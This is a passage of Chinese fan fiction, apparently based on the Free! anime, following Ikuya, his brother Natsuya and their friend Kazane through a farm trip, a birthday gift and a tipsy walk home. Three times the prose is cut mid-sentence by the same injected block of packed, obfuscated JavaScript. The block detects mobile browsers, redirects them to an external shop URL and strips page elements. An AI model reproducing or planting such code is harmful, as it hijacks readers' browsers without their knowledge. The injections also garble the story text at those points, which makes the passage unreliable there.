如果风音说要打他的话，那她的拳头是真的会呼到他的后背上。即便如此，郁弥也不打算在这时候说点什么软和话，只回复了一句“随便你”——拜托，又喜欢猫又喜欢狗还喜欢一切昆虫和人类，这样的家伙绝对称不上博爱，而是太不专一才对，真让人生气。 郁弥暗自生闷气，决定在接下来的一小时内不再搭理风音。 当然了，之后的六十分钟都会被他用来晨跑，确实也没办法再高强度地和风音保持联络就是了，不过郁弥会装作没有意识到这一点，固执地确信这段时间是他对风音降下的沉默惩罚。 绕着田地与山野跑了整整两圈，回到温泉酒店时，又遇上那只无赖的拦路小猫了。 过了一整晚，它的无赖做派稍稍收敛了一些，至少看起来不像是想要讨要零食的模样了，还会亲昵地蹭蹭他的裤腿，毫不留情地留下一团白毛黏在他的裤腿上。郁弥俯身，摸摸它的脑袋，它居然也分外配合。 但当郁弥准备掏出手机留下自己和猫咪相处良好的证据时，小猫一溜烟地跑掉了。这回甚至连残影都没有给他留下。 好残忍的小东西，下次还是找一只热情的小狗当做拍摄的主角吧。 走到餐厅吃早饭，总算是在今天第一次见到了哥哥，他戳着咖啡机，往冰牛奶里加了双倍的芮思崔朵，郁弥猜他没睡醒，尽管他看起来和平常没什么区别，一如既往地会让自己慢点吃早饭，没人会和他抢。 确实，吃太快没有意义，农场那边的参观和游玩项目要到九点才开始，从填饱肚子直到九点还需要等上好一会儿。 纯粹是为了消磨时间，他坐在酒店门口的长椅发呆。邪恶小猫又甩着尾巴过来了，跳到他的腿上呼呼大睡，逼迫着他不许动弹，果然坏到不行。 郁弥挠着小猫圆滚滚的脑袋，纠结着不知道是否应该拿起手机。 犹犹豫豫好久都拿不定主意，倒是一记拳头先一步落在了背上。 “我的拳头伸过来了哟。” 风音忽的一下跳到他面前，特别得意地说。 29.心想事成的魔法 心想事成——在词典里，这个词的意思是，只要是心中想到的事就能够顺利做成。 郁弥不觉得自己算是心想事成的人，但必须承认的是，刚才他确实想到风音了，想着该怎么把小猫睡在他的腿上这么重要的事情分享给她且不让猫咪被摄像头吓到。 这是个难题，一时半会儿肯定想不到合适的应对方针。 甚至，比灵感更先到来的，是风音本人。 不管怎么看，这一定都是心想事成没错，也难怪两人对上视线的那一刻，郁弥说出的不是“你怎么在这里”，而是“快看这猫睡在我的腿上”。 “真的诶！”风音惊讶地瞪着眼，像是在看世界第九大奇迹，“你昨晚是用猫薄荷还是死老鼠洗的澡？” 郁弥的脸一下子瘪下去了：“就不能是我的个人魅力吗？” “好吧，我不否认这一点。” 能得到认同当然很不错，但要是她别一边说一边笑还一边像个adhd小孩那样伸手来捏他的脸，郁弥一定会更高兴的。 瘪着嘴、落下面孔，郁弥用这副明晃晃写着“我不情愿”的面孔盯着风音看了整整三分钟，她这才舍得收回手，转而摸摸他的脑袋作为安抚——可就算是摸摸头，郁弥也不喜欢呀。 但毕竟摸摸他脑袋的是风音，就算没那么喜欢，他也一定不会甩开她的手。 “你怎么突然过来了？”终于切回正题，不过他的腔调听起来有点酸唧唧，“你说你不想来的。” 风音摆着手指头和他讲道理：“首先，我没有不想来，只是我真的很善良，把这个享受的机会让给了你和你哥。其次，是你哥叫我来的哟，他说农场那边的活动可以多加一个参观者。” 哥哥说的……郁弥想起了晨起时看到的空荡荡的床铺，原来那时候哥哥是在安排这件事吗？ 郁弥略微有点懵，不过这也正常，毕竟夏也也是抱着试试看的心情联系了农场的负责人——是在抵达这里之后，他才留意到这场“温泉农场双人周末游”很精准地分为了“温泉”和“农场”部分，两边都是由独立的组织运营，只是恰好被旅行社串联成了一趟行程而已。 温泉酒店应该是不方便再加一个人了，涉及到房客的增加，处理起来难免麻烦，这可能就是旅行社拒绝增加出行人数的原因。不过农场那边倒是很好商量，对他们来说，无论是多一个还是少一个参观者，行程的安排都会按照原定的步调进行，不会造成什么额外的麻烦。 既然如此，那就快让本次出行的最大功臣鹿鸣风音一同前来吧，正好夏也知道没什么事的她今天一整天都很悠闲。 “所以我就来了。没想到只要搭一个半小时的电车就能到这里，比我预想的近很多呢。” 风音说着，俯身抱起小猫。邪恶猫咪果然在无赖的怀里咕噜得最响。她恶作剧似的抓起小猫的前爪，摁在郁弥的脸上。 “你肯定完全没想到我的拳头来得这么快吧？” 郁弥扯扯嘴角：“没有。” 也没有想到，夏也切实地在让她一同加入行程的这件事上付出了努力。同样的时间里，他只是在幻想着如果她能一起来的这件事而已，却没有做出在此之上的任何事情。 越想越容易冒出空落落的虚妄感，怨念大概也要出现了，拉拽着整颗心脏开始下坠。可不知道为什么，风音却在看着他笑，下坠感就这么突兀地停止了。 “怎么了？”他有种不好的预感——被某位无赖笑眯眯地盯着，意味着将有百分之八十的概率会遇到一些不妙的事。 “没怎么啊。” 风音换上一副人畜无害的面孔，可惜只伪装了两秒钟就演不下去了，决定坦白。 “你脸上有灰。” “啊？”郁弥赶紧抬手去摸，“擦掉了吗？” “没有。你的手要稍微往下一点，然后再往耳朵这边靠近些……” “等等。”他意识到不对劲了，“是刚才猫爪碰到的地方吗？” 风音的视线心虚地飘走了，这绝对就是回答没错了，也难怪会被郁弥气恼地一瞪，不过犯下此等罪恶的风音本人丝毫不会对此感到罪恶就是了。 “咦，你已经到了？比我预想得早了一点。”正好收拾好行李的夏也提着两人份的包走过来，一眼就看到郁弥脸上的灰印子了，“怎么把自己搞得脏兮兮的？” 他伸手去抹郁弥的脸颊，令人操心的弟弟摆出一副好不高兴的面孔。 “都怪风音！”顺便告状。 “没错确实是我们俩的错啦！” 她抱着小猫，很有担当地揽下了自己的罪责——反正也没有推脱的余地了嘛。 一如既往，夏也才不会掺和进他们俩的幼稚拌嘴之中，催着他们快点出发，可惜这两人是催催也不会加快速度的家伙，还固执地非要在他的背后闹腾不停。至于那只邪恶小猫，早早地就已经逃走了，绝不想掺和进人类的幼稚纷争之中。 小小农场坐落在山脚下，最先前来迎接的是两只看门犬，无比兴奋地哒哒哒跑过来，尾巴差点甩成螺旋桨。夏也俯身拍拍它们的大脑袋，于是这两个大家伙彻底锁定上了他，在接下来的一整天都无比兴奋地绕着他打转。 其实农场不算有趣，风音有理由怀疑农场主完全就是在请人付费帮忙干农活，一整天他们都在帮忙喂养各种动物，唯一的好处大概是毛茸茸的小羊确实可爱，以及很难得地喝到了新鲜的热牛奶。 还好同行的对象是夏也和郁弥，否则这一天的无聊程度绝对会翻倍的。 当看到停在谷仓旁的摩托车时，她仅有的那点枯燥感彻底消失无踪了。 “是哈雷啊，好酷！”风音迫不及待地朝这辆铁灰色的重型载具扑过去，激动到差点就要掉眼泪了，“以前在油管上就看到好多人测评过这款摩托车，没想到实物这么大这么好看这么有设计感……我能不能骑上去溜两圈？” 要是直接提出想要试驾的请求，大概率会遭到驳回，毕竟这辆哈雷摩托车可不便宜。但在她刚才一堆真情实感彩虹屁的加持之下，农场主彻底被哄得心满意足，把风音的地位抬高到了“知音”的地步。试驾？这种事情当然没问题啦！ “对了，山后头有个小湖泊，风景很不错，你可以骑到那里去看看。” 风音迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741447|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不及待启动拧动钥匙，引擎响起野蛮的咆哮声，她特别豪气冲夏也和郁弥一指后座，问他们谁想要跟着她一起去兜风。 被哈雷冲昏头脑，她完全忘记了这辆车的后座只能容纳一个人的事实——不知不觉又要面对三选二的难题了呢。 但值得庆幸的可能是，无论是夏也还是郁弥，谁都不想坐上去。 “你居然会开摩托车吗？” 说到底他们连这件事都完全不知道。 “是啊。”风音对他们的谨慎态度和困惑目光有点意外，“我没说过这件事吗？” 郁弥甩甩脑袋：“你完全没说过。” “而且你平常也不骑摩托吧？”夏也也说。 “好吧，可能我确实忘记说了，而且我平时也的确不骑摩托。”她坦白说，“摩托太贵了，我买不起。而且出了事故会很麻烦，至少在我退役之前是不会买摩托车了。” “……那为什么要学会开摩托……” 郁弥的小声嘀咕钻进了风音的耳朵里，让她一下子显得相当骄傲，仿佛对这份疑问期待已久。 “因为很简单啊，准备汽车驾照考试的时候就一起考掉了。” 说着这话的他微微扬着下巴，一副“快夸我”的表情。 可惜没能得偿所愿——怎么连最捧场的夏也都不夸夸他呀，好过分！ 她故意把油门拧得轰轰响：“你们真的不想上来吗？” 夏也默默移开目光：“坐在女生的后座有点丢人。” 郁弥也在点头。 可恶，感觉被兄弟俩排挤了是怎么回事！ 风音小发雷霆：“你们的尊严也太易碎了吧？可这里只有荷载两人的摩托嘛，没别的东西能把我们送去河边看风景了。” 农场主适时地在这时候插话进来。 “还有三人自行车可以用。” 话虽如此，和工业设计的结晶哈雷摩托车比起来，三人自行车实在是…… “好朴素。”风音直白的说，“干脆地说就是好丑。” 郁弥反驳了一句：“朴素一点不也挺好的嘛。” 夏也也附和：“而且很安全。” “……说得好像我开摩托就会导致危险系数变高一样！” 风音毫不犹豫地收回了摩托车后座的宝座，丢下这两个家伙扬长而去，痛快地溜达到傍晚才回来。 就此，用好运兑换来的周末游不算百分百有趣地画上句点。风音觉得夏也和郁弥享受到的才是这次出行中最有意思的部分——温泉绝对比农场好玩多了。 虽然没有一起前来，归途倒是能够同行。他们挤进晚间电车回东京，摇摇晃晃一整趟。风音觉得郁弥在犯困，他的眼睛都要闭起来了，一会儿靠在夏也身上，一会儿又朝自己倒过来，真让人好奇他昨晚到底有没有好好睡觉。 他这副迷糊模样直到走出车站才稍稍恢复一点，说不定是因为车站前神神秘秘的占卜小摊足够吸引人。 这可能就是为什么，在他们三人各自分开之后，他偷摸摸地折返，坐到了小摊前。 如果能够窥见未来，他会想要去知道的。 30.虚假的酒精冲刷 当生日礼物提前一周送到家里时，桐岛郁弥就觉得很不对劲了。 一拆开包装盒，最上方以不太好看的字迹写着一句“现在就能收到礼物你有没有觉得很惊喜”，他觉得更加不对劲了。 没有半点犹豫，一通电话打给风音。 “你现在才收到吗？比我设想得晚了几个小时。” 郁弥沉闷地“嗯”了一声，腾出右手继续拆箱：“怪我今天到家得稍微晚了一点。” “你看到礼物了吗，应该不会不喜欢吧？” “还在拆……啊，看到了。”他用手捻起黑色丝绒盒子里装着的小东西，“这是，领带夹？” “没错。” 完全是意料之外的礼物。 说真的，就算装在盒子里的是海星标本或者干脆是一只死虫子，郁弥都不会觉得意外——毕竟风音还真是能够做出这种事情的人，他甚至都不会对此感到沮丧或是生气。 但是，领带夹？似乎有点正经得过了头，难免让他有点意外。 “我就知道你会觉得很纳闷的。” 电话那头的风音在笑，显然自己的反应完全在她的意料之中。如此看来，领带夹的地位和海星标本还有死虫子一样，是足以激发他的困惑的礼物。 “嗯，我是觉得挺奇怪的。” 郁弥说着，把手机换到另一只手上，目光始终黏在镶嵌着水晶的这枚银色小饰品上，心想如此闪亮亮的东西，应该是她最喜欢的那种类型才对。 他说：“我平常不穿西装。”并且他也觉得未来也不太能有穿上那种挺括服饰的时候。 “我知道，但你总会有需要穿的场合嘛，比如——我想想——参加某些正式的场合或是别人的婚礼或是你自己的婚礼？到时候就可以用上了嘛。” 可能因为“婚礼”这个词是从她的口中说出来的，而不是广告里敷衍的词汇，在落入郁弥耳中的那一刻，给他带来了比意料之中更加奇妙的触动感。还好他们此刻是隔着电波在说话，否则一定会被她发现烧烫的耳朵吧。 对于他的这点小小情况一无所知的风音絮絮叨叨地继续说着，像个唠叨的婆婆：“然后呢，每当你别上这枚小夹子的时候，一定都会冒出‘这是风音送给我的二十岁礼物’，是不是很棒？” 郁弥想笑：“确实不赖，可我怎么觉得这像是你给自己的礼物——让我永远惦记着你的好？” 她得意地轻笑两声，嘴上却说：“我对此不做评价。” 完全是默认了。 好吧，抛开她邪恶的私心，这确实是很漂亮的、也很“风音”的礼物，郁弥会愿意心满意得地收下的，尽管现在距离他的生日还有两百多个小时。 对于礼物为什么会提前了这么早来到寿星本人的手上，风音有话要说。 “其实是这样的。”先以拖沓的话语当做开场白，“今天教练才告诉我们，本周安排了和其他学校的合宿，差不多这星期剩下的每一天我都要在篮球场上度过了，所以礼物没办法在生日当天亲手给你了。要是过了生日这天再给你好像也不太合适，所以决定先让你高兴一下，再告诉你没办法为你庆祝生日的这个噩耗。” “好吧。” 沮丧嘛，肯定是有一点的，不过也还好。她又不是故意不来。 “你没有生气对吧？”风音还在确认。 郁弥倒是要被她的这种直白问法问得生气了：“难道在你心里我就是这么容易不高兴的人吗？” “是啊。”天啊，她居然不否认，还笑嘻嘻地说，“你一直都很感性的嘛。” “好了，我现在生气了。” “需要我哄哄你吗？” “才不要。” 嘴上是这么说的没错，但要是她能够在他说出拒绝之后再固执地哄他一下，那肯定是再好不过了。 显然风音没有意识到他固执表象下藏着的这份别扭，或者是发现了，只是不打算在今天顺着他的心意做事而已，自顾自地开始说自己多么不想参加这周的合宿。 “倒不是讨厌合宿这件事啦，能够别的队伍画上几天的时间磨合和学习我挺高兴的，但你知道合宿的对象是谁吗？” 明明是自己抛出的疑问句，不等郁弥给出推测，她就迫不及待地立刻给出答案了。 “是东帆啊，东帆！” 郁弥对这个学校有点印象：“冬季杯的黑马学校？” “没错，就是第一轮淘汰赛就把我们淘汰了的东帆。教练到底是怎么想的居然组织了这么一场合宿……” “你到时候可不要凶巴巴地面对东帆的对手。” “才不会，我本来就不是凶巴巴的人。对我有点信心嘛。” “好。” 他一向是很信任她地——除非当她开始露出无赖的秉性时。生日当天见不到她，显然也已成为定局，有点小小失望，不过也不至于到空落落的程度，至少在这通电话结束之前他就能够调理好了。 “对了。”他忍不住说，“等你的合宿结束之后，再和我一起单独地庆祝生日，可以吗？” 他可是鼓起了超级庞大的勇气才能说出这么厚脸皮的请求的，也难怪电话那头的风音会拖长话音“嗯——”了一声。 “没问题的。”她已经彻底明白郁弥的心思了，“想让我请你吃饭对吧？完全OK的！” 完全猜错了…… 她奇妙的但又很合理的推测让郁弥迟钝了两秒，很想解释一下，却又不知道从哪里开始说起来才比较合适，最后也只是悻悻地闭上了嘴。 由自己提出的约定，当然要由自己贯彻。生日结束的两天后恰好是合宿结束，他们约在傍晚见面。 “想好吃什么了吗？”风音随手把额前的碎发捋到脑后，可还是又几缕不听话的发丝会落在视线范围内，她干脆不搭理了，飞快地戴上耳钉，“不夸张地说，我现在饿得要晕过去了。今天一直在比赛根本没停过……” 嘴上说着抱怨的话语，可她看起来却精神抖擞，心情似乎也相当不错。郁弥还以为这场合宿会把她的好心情全部磨光，毕竟合宿的另一方是给过她痛苦失败的对手嘛。 “一开始确实是觉得很别扭啦。”风音坦白说，“但东帆的战术和比赛方式确实很厉害，球队的大家人也很好，现在已经彻底和她们变成朋友了。所以我们到底要去吃什么？别让我做决定。” 她把话题又扯回来了。 于是郁弥必须坦白，其实他今天不只是想要解决晚饭问题而已。 “我还想测试一下自己的酒量底线在哪里。毕竟我现在已经到了合法的摄入酒精的年龄，总该知道自己的能力在哪里比较合适。”他的话不知不觉地多了起来，像是在给自己找补，“要是一个人猛猛喝酒，看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750325|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来会很可怜吧？而且不安全。我觉得我认识的人里最值得相信且最靠谱的人就是你了，所以叫上你一起……嗯，就是这样。” 解释到这个地步，她应该不会觉得奇怪或是突然或是别扭了……吧？ 郁弥惴惴不安地望了风音一眼，不成想，看到的却是一张好高兴好自豪的脸——都怪他刚才说她是“最值得相信且最靠谱的人”，害她那条看不见的尾巴都在直指月亮了。 “放心放心，有我在肯定没问题的！”她拍着胸膛，信誓旦旦地保证，“要不要叫上夏也一起？” “在喝酒这件事上叫来我哥，事情一定会变得很麻烦的。”郁弥只想叹气，“喝醉的他就已经很能折磨我了，要是让他碰上喝醉的我，不知道会变成怎么的灾难。” 风音偷笑，“被你说得好像他很不靠谱似的。” “他确实没有多靠谱。” 好吧。可能是他的弟弟滤镜（负面版）在作祟，毕竟风音真的觉得夏也是很值得依赖的同龄人。 既然达成了共识，那就出发吧。 去酒吧喝酒未免太像是专业醉鬼，能否填饱肚子也成问题，选择居酒屋又好像有点像是参加下班聚餐的社畜，不过肯定比酒吧好一点。 海鲜锅咕噜咕噜不停沸腾，喝空了的两盅清酒摆在一旁。郁弥发现自己完全没有喝醉。 当然了，绝不是说他一丁点醉意都没有。他确实感觉到自己的意识已经在上浮了，与昏沉感一起飘在大脑的最表层，并未彻底蒸发或是悠悠然飞走。脸颊也没有被酒精熏得通红，更没有从清酒中汲取到那种轻飘飘的愉快感。 所以，哥哥到底是怎么会喜欢上喝酒的？真搞不懂。他一点也没觉得喝酒是什么轻松的事情，尤其风音还会时不时打量他的面孔，确保他不会扑通一下醉倒。 “要是你喝醉了或是觉得很难受，一定要快点告诉我。”她很认真地说，“绝对不能逞强。” 其实还很清醒，如果想喝的话一定还能继续，可鬼使神差的，他说：“我已经醉了。” “我想也是。” 要是把夏也的酒量标准放在郁弥身上，风音甚至觉得他能醉上两次，好在他既没有醉倒也不会发酒疯，这还是很让人安心的。 她飞快地吃掉盘子里剩下的最后一块炸鸡，付钱买单一气呵成，在此期间还不忘用余光打量一下郁弥的情况，以免他一不小心昏厥过去——这种事曾经发生在某位不愿透露姓名但名字里有季节元素的醉鬼的身上。 要不要我拦辆车载你回家？风音这么说的时候，郁弥摇头拒绝了。他说，想要和她一起散散步。 “说不定被风吹一下，我就能清醒过来了。” 很清醒的他很清醒地说。 “好。” 于是，走在了初春的街头。 路上人不多，甚至有点过分寂静，只有刺骨的春风闹人地钻进衣领里。郁弥在想自己是不是该走得再歪歪扭扭一点，或是悄悄地向风音的身旁靠过去，尽力地模仿着夏也会有的样子，这样才像是喝醉的人。 演着演着，他觉得自己说不定真的要变成醉汉了，可是大脑还很清晰，理智也固执地存在着。他知道，自己尚未变成酒精的囚徒。 所以，无论是他做的还是他说的，全部都是生硬的刻意为之。 正如他突然说：“风音，我……” 31.内心想要大声呼喊 风音正在发呆——肯定不是因为她的思维真有那么容易从脑海的最深处脱离，也绝不可能是她本质是个容易发呆的家伙。 只是今晚有点冷，且郁弥也没有主动说点什么，想着不要给喝醉的大脑灌输太多会害人头疼的废话，所以风音才保持了难得的沉默。 沉默着沉默着，人就忍不住要开始发呆了。还好，当听到走在身旁的那人的声音时，她立刻回过神来了。 “怎么了？” 一阵不识相的风吹过，迷了风音的眼，也把郁弥的短发卷得乱糟糟，突然让他显得像是一颗花椰菜。她忍住笑，抬起手，帮他捋顺了杂乱的发丝。 “是觉得不舒服了吗？” 好温柔，好难得……好喜欢。 郁弥的心里翻滚着好多情绪。可能有点太多了，害得他一下子愣住了，明明他才刚刚说出了一句“我”而已。 我——然后呢？ 那么急切地渴望诉说的话语快要冲出胸膛，却率先一步被怯懦网住。他都不知道自己在犹豫什么。 同样奇怪的，脱口而出的话语变成了：“你现在突然对我好好。” “诶？”风音被他问得想笑，“对你好不是很好吗？” “是很好……但以前这种时候你不要恶搞我一下的吗？”郁弥的手不自觉地在空中乱挥，“你八成会笑我太菜，或者是故意捏我的鼻子，肯定不会……” 肯定不会轻轻地抚摸他的头发，也不会问他是不是觉得不舒服，这么做简直像哥哥一样好（而他像喜欢哥哥那样喜欢她），温柔到让他真的怀疑自己会不会喝醉了。 当然，风音下一秒摆出的不高兴表情足够证明他的确没有喝醉。 “其实我真的很想否认你，可惜我的确是做得出这种事的人。” 她可是很有自知之明的，知道自己是个很邪恶的家伙。但是—— “这种事情在你清醒的时候做才比较有趣。我是个很体贴的人，绝对不会乘人之危，也不会折腾一个醉汉。对了，你要和我说什么来着？” 是了，想说的是什么？ 郁弥确信他没有忘记自己该说的话，只是在刚才插科打诨般的对话之后，早就瘪下去的冲动彻底消失无踪了。他抓了抓脑袋，视线飞到了不知何处去。 “我……”他想了想才说下去，“之前，我去占卜了。” 风音好意外：“你原来是相信玄学的那一派呀？” 这话倒是疏松平常，不过还是让郁弥觉得自己的尊严被微妙地戳了一下——不痛，但切切实实地被戳到了。 “也、也没有很相信吧。只是觉得很好奇，随便试试而已。” 说不好这是不是他的嘴硬，他只觉得这是他必须得为自己辩解的话语。 “是嘛。所以，占卜得准吗？” 好嘛，她看起来也挺好奇的。 “你占卜的主题是什么，比赛的胜利运吗？” “嗯——”不好，郁弥的视线又要逃走了，“差不多，是吧？” 其实占卜的是恋爱话题。 但是风音问得这么正经，让只知道去占卜恋爱的郁觉得自己好微不足道，他的自尊心又要消失无踪了，只能用这点模棱两可的回答作为搪塞。 “结果怎么样？”她说着说着就凑过来了，愈发好奇起来，“肯定是一帆风顺吧？” “这倒不是。为我占卜的那位说，近期会比较坎坷。”嗯对，他说的是恋爱话题的占卜结果，“以后也不一定能够顺风顺遂。但是，只要突破短暂一段时间的迷茫，未来就还算平稳。” “感觉说得不太吉利，肯定是骗人的没错，郁弥你别信。” 准确地说，就是因为说得太不吉利了，才不值得相信——这种神神叨叨的玄学占卜，肯定要选择自己爱听的部分相信才行，这就是风音一贯的信条。 郁弥笑了笑。其实他也不想相信。 一旦信任了占卜说辞，就好像他认可了这样的未来，但他并不那么想要认同这种只是“平稳”的以后。 正这么想着，回过神来，才发现风音在看着自己。 “你是不是稍微清醒一点了？太好了。”她很有种松了口气的感觉，“你走路一下子稳当了好多，也能正常说话了，看来吹吹晚风还是很有效果的。” “……” 不好，忘了继续装了。 在短暂一秒的尴尬之后，郁弥陷入纠结——他到底是该顺着风音的话说下去，还是重新拾起自己（一点也不精湛）的演技呢？ 可能正是这份纠结作祟，他完全没发现脚下有一块破碎的地砖，大喇喇地踩了上去，一点也不意外地失去了平衡，撞到了风音身上。 好消息是，他的灵感也被撞出来了。 “我、我还是有点走不稳。”他说着蹩脚的谎话，脸颊终于烫起来了，他坚信肯定是那两盅清酒在作祟，“能不能，呃……你能……” “帮你一下，是吧？” 风音一下子就看穿了他的想法，还好没有把他的谎言一起看破——等等，应该不是看破了却不说破吧？ 他战战兢兢地点头，觉得鼻子好痒，肯定是快要变得像匹诺曹那样伸得好长了。 算了，事已至此！ 郁弥下定决心般闭上眼，任由风音伸手过来，揽过他的侧腰，扶着他的手臂搭在自己肩上。 然后就这么差不多把他整个人架了起来。 ……嗯？ 当郁弥的脚尖擦过地面的时候，他已经觉得有点不对劲了。而风音几乎是托着他往前，他真的觉得更加别扭了。 没错他确实是非常想要和风音贴贴，但绝对不是这种看起来就很丢人的贴贴啊——！ 很可惜，正如难以言说的真心，他的抱怨也卡在了喉咙里。他一面觉得这好丢人，打心底又觉得能嗅到风音发梢的无瓜果香气好难得，完全是纠纠结结地被她送回了家。 “要是半夜觉得难受了，可以找我或者是你哥哦。”风音很认真地叮嘱他，“千万别忍到忍不住的时候再联系别人。” 郁弥赌气般别开脑袋：“我才不会这样。” “你当然会这样，谁让你最言不由衷了。”毫不留情地揭开他的强硬假面，“就是因为知道你会做出这种事，我才要叮嘱你。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755190|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要走咯。” “嗯。” “快和我说再见呀。” “拜拜。” “拜拜，下次见。” 说完了道别，郁弥才觉得自己的赌气太幼稚。想要回头说点什么，门却已经关上了，隔着这层并不厚重的门扉，恍惚之间，还能听到她远去的足音。 晚了一步。 幸好，懊恼感并不强烈。他们之间并非没有明天。 唯一的小问题可能是，这个“明天”会来得稍晚一些。 过完生日后的一整个整个春假，郁弥都在准备长池训练，在水下的时间可能比脱离水分的时间更多，连哥哥都很少见到，更别提风音了。而新学年到来之前的假期，也该是京王女篮队的修整期，但因为冬季杯的早早失利，谁也不想在假期里浪费时间，训练合宿完全没停。 真的，风音一度觉得这个世界就是一个巨大的篮球，自己则是黏在胶皮上的一颗小小灰尘，要跟着整颗球弹上弹下不可。 新学年，新生加入，队伍小小地重组，当然又要用训练和合宿作为磨合手段。上学期的游泳技能考试还没通过，每周得腾出时间去找芹沢教练讨教，似乎有点焦头烂额了。 差不多就是在这时候，她收到了夏也的观赛邀请。 “是日本游泳锦标赛，差不多是国内最高级别的赛事了，我希望你能来看。”他是这么说的，“有令人安心的朋友在场边喝彩，我会很高兴的。” 原来她在夏也心里的地位也很高呀？哼哼哼，不愧是她！ “我知道了，但是，”她难得地动起了一点坏心思——要知道，她平常可是很少折腾（磨）夏也的，也不会对他说出坏心思的话，但现在却忍不住想说，“要是我没办法过来怎么办？” “我会哭哦。” 夏也轻快地说着这种了不得的话，肯定没办法打动风音，反倒让她笑个不停。 “骗人，你才不会哭。”毫不留情戳穿他，“你又不是郁弥。” 动不动就掉眼泪，这是当弟弟的那方才会有的特权。 “好吧，骗不过你。”他只能坦白了，“如果风音不在观众席上，我也不会觉得难过或是失落的。我知道，你把时间放在了更重要的事情上。” “感谢您的谅解，但我会来的。” “好。对了，”他似乎这会儿才想起来，“郁弥也会参加这场比赛。” “太棒了，这么说来我只要一次到场就能完成两次的加油任务了，我非来不可！” 得到了承诺，真好。 夏也挂断电话，忽然觉得很安心。 锦标赛安排在了月初。尽管分别为大学选手和职业选手，夏也和郁弥居然还是很巧地分到了后台相邻的两个储物柜——合理怀疑储物柜是按照姓名字母排序的。 所以，顺理成章地看到了他包上的小海豹，毛茸茸的。 平常他也能在郁弥的包上看到这个小东西，常见到视作理所应当也无妨，可唯独今天，这个小东西的存在感意外的强烈，让夏也忽然意识到了什么。 “是风音送给你的吗？” 他问。 32.坦诚或不坦诚 郁弥觉得哥哥的询问有点怪。 这只小海豹挂在包上有好几个月了，夏也绝不可能没看到（他的视力没有问题），大概也不是因为没有放在心上或是刻意忽视了。郁弥也觉得他这话问得很怪，回答得略显磨蹭。 “嗯。”他觉得要说明得更清楚一点才好，“是和她交换的。” “我还以为你喜欢本来抽到的那个。大白鲨？” 郁弥扯扯嘴角，露出一丝苦笑：“嗯。其实也没那么喜欢大白鲨的那款。” 甚至称之为最不喜欢的一款都不夸张。 “可你抽到的时候却什么都没有说呢。”夏也直白地戳穿他。 郁弥有点不自在，闷头收拾储物柜，“……是啦。” “风音发现你更喜欢小海豹，所以才和你换了吗？” “嗯。”郁弥不会否认这种事，“她主动提出交换的。” 一点也不意外。 夏也摸出泳镜，用力一扯橡胶绑带，一本正经地确认着装备是否正常。相比之下，他的话语就显得很像是有点漫不经心了。 “你总是让别人去猜你心里在想什么。明明直接说就好了，如果你告诉我，你不喜欢抽到的那个挂件，我肯定会把自己的和你交换——不管怎么说，我是哥哥嘛，而且是很疼你的哥哥，不管你做什么都会支持你的那种哥哥。”他说出这话的语气不算太认真，只像是随意的闲聊，“我还以为你和七濑当回好朋友之后就已经戒掉这个不坦诚的坏习惯了。” 郁弥装出一副不高兴的面孔：“突然说这个干什么？借着海豹挂件的小事教育我，有点太狡猾了吧，这样可不像是会疼爱弟弟的那种哥哥会做的事。” “没有在教育你啦。”夏也伸手过来，搓搓一脸不高兴的郁弥的脑袋，“我在陈述事实而已。难道连实话都不允许我说啦？还有喝酒的事情，下次别醉醺醺地让别人帮忙送回家了，很给人添麻烦的——这事让我做倒是无所谓。” “唔……？” 风音把喝酒那天的事情和哥哥说了吗？大概是这样吧。 想到这个可能性，郁弥觉得好不自在。 “随口提到的而已，她只是担心你和我一样酒量很差，所以才和我说了。”夏也是这么解释的。 郁弥还是觉得怪怪的。 “不要和风音在背地里说我坏话……”他叽咕着。 “我们只是在讨论一个事实。” “那也不行。” “这样的话，你坦白一点就好了嘛。” 郁弥当然想要反驳，可惜根本说不出什么有利的话语。 夏也说得完全没错，他真的不是个坦率的家伙，且直白并不是鼓起勇气就能轻松得到的一种品质。 既然如此，他干脆不说了。更衣室的温度略低，他赶紧套上外套，准备跟上教练的步伐去热身。在此之前，夏也叫住了他。 “因为提到风音了，我正好想起来，她以前说过，你和我绝不可以和她认识的人恋爱。” “唔……”郁弥停住脚步。 这话他还留有印象，但也仅仅只限于“有印象”这一步了。在很多时候，他都根本想不起这句话，以至于此刻听到的时候，竟然冒出了一种微妙的被窥探了的阴冷感。 他无意识地攥紧了拳头，立刻低下头，把外套的拉链又向上拽了拽，咬合的齿差点就要夹住下巴。 “这话好像是你转述给我的吧？”他说。 “没错。”夏也点着头，眼睛却眯了起来，“我最近想到这句话的时候，会忍不住觉得，她这么说特别不讲理。你不觉得吗？她应该也要用同样的标准约束自己才对吧。” 